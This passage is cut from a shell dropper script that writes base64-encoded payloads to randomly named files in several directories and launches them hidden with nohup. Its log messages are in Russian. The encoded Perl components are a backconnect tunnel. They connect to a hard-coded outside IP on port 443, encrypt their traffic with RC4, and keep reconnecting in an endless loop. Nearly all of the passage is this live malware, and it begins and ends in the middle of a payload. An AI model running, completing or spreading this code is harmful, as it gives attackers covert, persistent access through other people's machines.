ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #37 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #37 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 38 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xODYnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg 